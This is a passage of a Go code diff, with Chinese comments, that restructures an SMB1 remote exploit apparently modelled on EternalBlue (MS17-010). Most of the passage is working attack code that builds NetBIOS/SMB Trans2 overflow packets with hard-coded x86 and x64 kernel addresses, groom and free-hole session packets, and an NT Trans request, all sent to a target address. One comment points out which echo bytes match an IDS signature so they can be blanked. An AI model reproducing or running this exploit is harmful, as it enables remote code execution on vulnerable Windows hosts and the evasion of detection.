+ buf.Write([]byte{0x00, 0x00}) + // 签名1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 签名2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) + return nil +} + +// writeSessionSetupRequest 写入会话设置请求 +func writeSessionSetupRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x0D) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x88, 0x00}) + // 最大缓冲区 + buf.Write([]byte{0x04, 0x11}) + // 最大并发数 + buf.Write([]byte{0x0A, 0x00}) + // VC编号 + buf.Write([]byte{0x00, 0x00}) + // 会话密钥 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // ANSI密码长度 + buf.Write([]byte{0x01, 0x00}) + // Unicode密码长度 + buf.Write([]byte{0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 功能标志 + buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) + // 字节数 + buf.Write([]byte{0x4b, 0x00}) + + // 认证信息 + buf.WriteByte(0x00) // ANSI密码 + buf.Write([]byte{0x00, 0x00}) // 账户名 + buf.Write([]byte{0x00, 0x00}) // 域名 + + // 写入操作系统信息 + writeOSInfo(buf) + + return nil +} + +// writeOSInfo 写入操作系统信息 +func writeOSInfo(buf *bytes.Buffer) { + // 原生操作系统: Windows 2000 2195 + osInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x31, 0x00, 0x39, 0x00, 0x35, 0x00, 0x00, 0x00} + buf.Write(osInfo) + + // 原生LAN Manager: Windows 2000 5.0 + lanInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x35, 0x00, + 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00} + buf.Write(lanInfo) +} + +// getOSName 从SMB响应中提取操作系统名称 +// 跳过SMB头部、字数统计、AndX命令、保留字段、AndX偏移量、操作标志、字节数以及魔数0x41(A) func getOSName(raw []byte) (string, error) { + // 创建缓冲区存储操作系统名称 osBuf := bytes.Buffer{} + + // 创建读取器,定位到操作系统名称开始位置 reader := bytes.NewReader(raw[smbHeaderSize+10:]) + + // 读取UTF-16编码的操作系统名称 char := make([]byte, 2) for { - _, err := io.ReadFull(reader, char) - if err != nil { - return "", err + if _, err := io.ReadFull(reader, char); err != nil { + return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err) } + + // 遇到结束符(0x00 0x00)时退出 if bytes.Equal(char, []byte{0x00, 0x00}) { break } + osBuf.Write(char) } - osBufLen := osBuf.Len() - osName := make([]byte, 0, osBufLen/2) - b := osBuf.Bytes() - for i := 0; i < osBufLen; i += 2 { - osName = append(osName, b[i]) + + // 将UTF-16编码转换为ASCII编码 + bufLen := osBuf.Len() + osName := make([]byte, 0, bufLen/2) + rawBytes := osBuf.Bytes() + + // 每隔两个字节取一个字节(去除UTF-16的高字节) + for i := 0; i < bufLen; i += 2 { + osName = append(osName, rawBytes[i]) } + return string(osName), nil } +// treeConnectAndX 执行SMB树连接请求 func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + if err := writeNetBIOSTreeHeader(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } - // message type + // 构造SMB协议头 + if err := writeSMBTreeHeader(&buf, userID); err != nil { + return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造树连接请求 + if err := writeTreeConnectRequest(&buf, address); err != nil { + return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err) + } + + // 更新数据包大小 + updatePacketSize(&buf) + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err) + } + + // 获取响应 + _, header, err := smb1GetResponse(conn) + if err != nil { + return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err) + } + + return header, nil +} + +// writeNetBIOSTreeHeader 写入NetBIOS会话服务头 +func writeNetBIOSTreeHeader(buf *bytes.Buffer) error { + // 消息类型 buf.WriteByte(0x00) - // length, it will changed at the end of the function + // 长度(稍后更新) buf.Write([]byte{0x00, 0x00, 0x00}) + return nil +} - // --------Server Message Block Protocol-------- - - // server component +// writeSMBTreeHeader 写入SMB协议头 +func writeSMBTreeHeader(buf *bytes.Buffer, userID uint16) error { + // SMB标识 buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb command: Tree Connect AndX + // 命令: Tree Connect AndX buf.WriteByte(0x75) - // NT status + // NT状态码 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags + // 标志位 buf.WriteByte(0x18) - // flags2 + // 标志位2 buf.Write([]byte{0x01, 0x20}) - // process id high + // 进程ID高位 buf.Write([]byte{0x00, 0x00}) - // signature + // 签名 buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved + // 保留字段 buf.Write([]byte{0x00, 0x00}) - // tree id + // 树ID buf.Write([]byte{0x00, 0x00}) - // process id + // 进程ID buf.Write([]byte{0x2F, 0x4B}) - // user id + // 用户ID userIDBuf := make([]byte, 2) binary.LittleEndian.PutUint16(userIDBuf, userID) buf.Write(userIDBuf) - // multiplex id + // 多路复用ID buf.Write([]byte{0xC5, 0x5E}) + return nil +} - // --------Tree Connect AndX Request-------- - - // word count +// writeTreeConnectRequest 写入树连接请求 +func writeTreeConnectRequest(buf *bytes.Buffer, address string) error { + // 字段数 buf.WriteByte(0x04) - // AndXCommand: No further commands + // 无后续命令 buf.WriteByte(0xFF) - // reserved + // 保留字段 buf.WriteByte(0x00) - // AndXOffset + // AndX偏移 buf.Write([]byte{0x00, 0x00}) - // flags + // 标志位 buf.Write([]byte{0x00, 0x00}) - // password length + // 密码长度 buf.Write([]byte{0x01, 0x00}) - // byte count + // 字节数 buf.Write([]byte{0x1A, 0x00}) - // password + // 密码 buf.WriteByte(0x00) - // IPC + + // IPC路径 host, _, err := net.SplitHostPort(address) if err != nil { - return nil, err + return fmt.Errorf("[-] 解析地址失败: %v", err) } - _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) - // null byte after ipc added by kev + _, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host) + + // IPC结束符 buf.WriteByte(0x00) - // service + // 服务类型 buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) - // update packet size + return nil +} + +// updatePacketSize 更新数据包大小 +func updatePacketSize(buf *bytes.Buffer) { b := buf.Bytes() sizeBuf := make([]byte, 4) binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) copy(b[1:], sizeBuf[1:]) - - // send packet - _, err = buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err } +// smb1LargeBuffer 发送大缓冲区数据包 func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { + // 发送NT Trans请求获取事务头 transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) if err != nil { - return fmt.Errorf("failed to send nt trans: %s", err) + return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) } - // initial trans2 request + treeID := transHeader.TreeID userID := transHeader.UserID - trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") - // send all but the last packet + + // 构造数据包 + var transPackets []byte + + // 添加初始Trans2请求包 + initialPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") + transPackets = append(transPackets, initialPacket...) + + // 添加中间的Trans2数据包 for i := 1; i < 15; i++ { packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") - trans2Packet = append(trans2Packet, packet...) + transPackets = append(transPackets, packet...) } - smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) - trans2Packet = append(trans2Packet, smb1EchoPacket...) - _, err = conn.Write(trans2Packet) - if err != nil { - return fmt.Errorf("failed to send large buffer: %s", err) + // 添加Echo数据包 + echoPacket := makeSMB1EchoPacket(treeID, userID) + transPackets = append(transPackets, echoPacket...) + + // 发送组合数据包 + if _, err := conn.Write(transPackets); err != nil { + return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err) } - _, _, err = smb1GetResponse(conn) - return err + + // 获取响应 + if _, _, err := smb1GetResponse(conn); err != nil { + return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err) + } + + return nil } +// sendNTTrans 发送NT Trans请求 func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + if err := writeNetBIOSNTTransHeader(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } - // message type + // 构造SMB协议头 + if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil { + return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造NT Trans请求 + if err := writeNTTransRequest(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + } + + // 获取响应 + _, header, err := smb1GetResponse(conn) + if err != nil { + return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err) + } + + return header, nil +} + +// writeNetBIOSNTTransHeader 写入NetBIOS会话服务头 +func writeNetBIOSNTTransHeader(buf *bytes.Buffer) error { + // 消息类型 buf.WriteByte(0x00) - // length + // 长度 buf.Write([]byte{0x00, 0x04, 0x38}) + return nil +} - // --------Server Message Block Protocol-------- - - // SMB1 +// writeSMBNTTransHeader 写入SMB协议头 +func writeSMBNTTransHeader(buf *bytes.Buffer, treeID, userID uint16) error { + // SMB标识 buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // NT Trans + // 命令: NT Trans buf.WriteByte(0xA0) - // NT success + // NT状态码 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags + // 标志位 buf.WriteByte(0x18) - // flags2 + // 标志位2 buf.Write([]byte{0x07, 0xC0}) - // PID high + // 进程ID高位 buf.Write([]byte{0x00, 0x00}) - // signature1 + // 签名1 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 + // 签名2 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved + // 保留字段 buf.Write([]byte{0x00, 0x00}) - // tree id + + // 树ID treeIDBuf := make([]byte, 2) binary.LittleEndian.PutUint16(treeIDBuf, treeID) buf.Write(treeIDBuf) - // PID + + // 进程ID buf.Write([]byte{0xFF, 0xFE}) - // user id + + // 用户ID userIDBuf := make([]byte, 2) binary.LittleEndian.PutUint16(userIDBuf, userID) buf.Write(userIDBuf) - // multiplex id + + // 多路复用ID buf.Write([]byte{0x40, 0x00}) + return nil +} - // --------NT Trans Request-------- - - // word count +// writeNTTransRequest 写入NT Trans请求 +func writeNTTransRequest(buf *bytes.Buffer) error { + // 字段数 buf.WriteByte(0x14) - // max setup count + // 最大设置数 buf.WriteByte(0x01) - // reserved + // 保留字段 buf.Write([]byte{0x00, 0x00}) - // total param count + // 总参数数 buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // total data count + // 总数据数 buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) - // max param count + // 最大参数数 buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // max data count + // 最大数据数 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // param count + // 参数数 buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // param offset + // 参数偏移 buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) - // data count + // 数据数 buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) - // data offset + // 数据偏移 buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) - // setup count + // 设置数 buf.WriteByte(0x01) - // function + // 未知功能 buf.Write([]byte{0x00, 0x00}) - // unknown NT transaction (0) setup + // 未知NT事务设置 buf.Write([]byte{0x00, 0x00}) - // byte count + // 字节数 buf.Write([]byte{0xEC, 0x03}) - // NT parameters + + // NT参数 buf.Write(makeZero(0x1F)) - // undocumented + // 未文档化字段 buf.WriteByte(0x01) buf.Write(makeZero(0x03CD)) - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err + return nil } +// makeSMB1Trans2ExploitPacket 创建SMB1 Trans2利用数据包 func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { + // 计算超时值 timeout = timeout*0x10 + 3 buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + writeNetBIOSTrans2Header(&buf) - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x10, 0x35}) + // 构造SMB协议头 + writeSMBTrans2Header(&buf, treeID, userID) - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Trans2 request - buf.WriteByte(0x33) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) + // 构造Trans2请求 + writeTrans2RequestHeader(&buf, timeout) - // --------Trans2 Second Request-------- + // 根据类型添加特定数据 + writeTrans2PayloadByType(&buf, typ) - // word count - buf.WriteByte(0x09) - // total param count - buf.Write([]byte{0x00, 0x00}) - // total data count - buf.Write([]byte{0x00, 0x10}) - // max param count - buf.Write([]byte{0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00}) - // max setup count - buf.WriteByte(0x00) - // reserved - buf.WriteByte(0x00) - // flags - buf.Write([]byte{0x00, 0x10}) - // timeouts - buf.Write([]byte{0x35, 0x00, 0xD0}) - // timeout is a single int - buf.WriteByte(byte(timeout)) - // reserved - buf.Write([]byte{0x00, 0x00}) - // parameter count - buf.Write([]byte{0x00, 0x10}) - - switch typ { - case "exploit": - // overflow - buf.Write(bytes.Repeat([]byte{0x41}, 2957)) - buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) - - buf.Write(makeZero(0x10)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x06)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x16)) - - // x86 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) - - // x64 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x04)) - - buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) - - buf.Write(makeZero(0x04)) - buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x10)) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x0C)) - buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x80, 0x10}) - buf.Write(makeZero(0x0E)) - buf.WriteByte(0x39) - buf.WriteByte(0xBB) - - buf.Write(bytes.Repeat([]byte{0x41}, 965)) - case "zero": - buf.Write(makeZero(2055)) - buf.Write([]byte{0x83, 0xF3}) - - buf.Write(bytes.Repeat([]byte{0x41}, 2039)) - default: - buf.Write(bytes.Repeat([]byte{0x41}, 4096)) - } return buf.Bytes() } +// writeNetBIOSTrans2Header 写入NetBIOS会话服务头 +func writeNetBIOSTrans2Header(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x10, 0x35}) +} + +// writeSMBTrans2Header 写入SMB协议头 +func writeSMBTrans2Header(buf *bytes.Buffer, treeID, userID uint16) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Trans2请求 + buf.WriteByte(0x33) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + + // 树ID + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeTrans2RequestHeader 写入Trans2请求头 +func writeTrans2RequestHeader(buf *bytes.Buffer, timeout int) { + // 字段数 + buf.WriteByte(0x09) + // 总参数数 + buf.Write([]byte{0x00, 0x00}) + // 总数据数 + buf.Write([]byte{0x00, 0x10}) + // 最大参数数 + buf.Write([]byte{0x00, 0x00}) + // 最大数据数 + buf.Write([]byte{0x00, 0x00}) + // 最大设置数 + buf.WriteByte(0x00) + // 保留字段 + buf.WriteByte(0x00) + // 标志位 + buf.Write([]byte{0x00, 0x10}) + // 超时设置 + buf.Write([]byte{0x35, 0x00, 0xD0}) + buf.WriteByte(byte(timeout)) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 参数数 + buf.Write([]byte{0x00, 0x10}) +} + +// writeTrans2PayloadByType 根据类型写入负载数据 +func writeTrans2PayloadByType(buf *bytes.Buffer, typ string) { + switch typ { + case "exploit": + writeExploitPayload(buf) + case "zero": + writeZeroPayload(buf) + default: + // 默认填充 + buf.Write(bytes.Repeat([]byte{0x41}, 4096)) + } +} + +// writeExploitPayload 写入exploit类型负载 +func writeExploitPayload(buf *bytes.Buffer) { + // 溢出数据 + buf.Write(bytes.Repeat([]byte{0x41}, 2957)) + buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) + + // 固定格式数据 + buf.Write(makeZero(0x10)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x06)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x16)) + + // x86地址 + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) + + // x64地址 + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + + // 后续数据 + writeExploitTrailingData(buf) +} + +// writeExploitTrailingData 写入exploit类型的尾部数据 +func writeExploitTrailingData(buf *bytes.Buffer) { + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x10)) + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x0C)) + buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x80, 0x10}) + buf.Write(makeZero(0x0E)) + buf.Write([]byte{0x39, 0xBB}) + buf.Write(bytes.Repeat([]byte{0x41}, 965)) +} + +// writeZeroPayload 写入zero类型负载 +func writeZeroPayload(buf *bytes.Buffer) { + buf.Write(makeZero(2055)) + buf.Write([]byte{0x83, 0xF3}) + buf.Write(bytes.Repeat([]byte{0x41}, 2039)) +} + +// makeSMB1EchoPacket 创建SMB1 Echo数据包 func makeSMB1EchoPacket(treeID, userID uint16) []byte { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + writeNetBIOSEchoHeader(&buf) - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x31}) + // 构造SMB协议头 + writeSMBEchoHeader(&buf, treeID, userID) - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Echo - buf.WriteByte(0x2B) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Echo Request-------- - - // word count - buf.WriteByte(0x01) - // echo count - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x0C, 0x00}) - // echo data - // this is an existing IDS signature, and can be null out - buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) + // 构造Echo请求 + writeEchoRequest(&buf) return buf.Bytes() } +// writeNetBIOSEchoHeader 写入NetBIOS会话服务头 +func writeNetBIOSEchoHeader(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x31}) +} + +// writeSMBEchoHeader 写入SMB协议头 +func writeSMBEchoHeader(buf *bytes.Buffer, treeID, userID uint16) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Echo命令 + buf.WriteByte(0x2B) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + + // 树ID + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeEchoRequest 写入Echo请求 +func writeEchoRequest(buf *bytes.Buffer) { + // 字段数 + buf.WriteByte(0x01) + // Echo计数 + buf.Write([]byte{0x01, 0x00}) + // 字节数 + buf.Write([]byte{0x0C, 0x00}) + // Echo数据(IDS签名,可置空) + buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) +} + +// smb1FreeHole 创建SMB1内存释放漏洞连接 func smb1FreeHole(address string, start bool) (net.Conn, error) { - conn, err := net.Dial("tcp", address) + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("failed to connect host: %s", err) + return nil, fmt.Errorf("[-] 连接目标失败: %v", err) } + + // 连接状态标记 var ok bool defer func() { if !ok { _ = conn.Close() } }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, fmt.Errorf("failed to negotiate: %s", err) + + // SMB协议协商 + if err = smbClientNegotiate(conn); err != nil { + return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) } - var ( - flags2 []byte - vcNum []byte - nativeOS []byte - ) + + // 根据开始/结束标志设置不同参数 + var flags2, vcNum, nativeOS []byte if start { flags2 = []byte{0x07, 0xC0} vcNum = []byte{0x2D, 0x01} @@ -867,179 +1127,234 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { vcNum = []byte{0x2C, 0x01} nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} } + + // 构造并发送会话数据包 packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) - _, err = conn.Write(packet) - if err != nil { - const format = "failed to send smb1 free hole session packet: %s" - return nil, fmt.Errorf(format, err) + if _, err = conn.Write(packet); err != nil { + return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err) } - _, _, err = smb1GetResponse(conn) - if err != nil { - return nil, err + + // 获取响应 + if _, _, err = smb1GetResponse(conn); err != nil { + return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err) } + ok = true return conn, nil } +// makeSMB1FreeHoleSessionPacket 创建SMB1内存释放会话数据包 func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + writeNetBIOSFreeHoleHeader(&buf) - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x51}) + // 构造SMB协议头 + writeSMBFreeHoleHeader(&buf, flags2) - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write(flags2) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) + // 构造会话设置请求 + writeSessionSetupFreeHoleRequest(&buf, vcNum, nativeOS) - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0C) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x00, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC number - buf.Write(vcNum) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // security blob length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) - // byte count - buf.Write([]byte{0x16, 0x00}) - // Native OS - buf.Write(nativeOS) - // extra byte params - buf.Write(makeZero(17)) return buf.Bytes() } +// writeNetBIOSFreeHoleHeader 写入NetBIOS会话服务头 +func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x51}) +} + +// writeSMBFreeHoleHeader 写入SMB协议头 +func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX命令 + buf.WriteByte(0x73) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write(flags2) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + 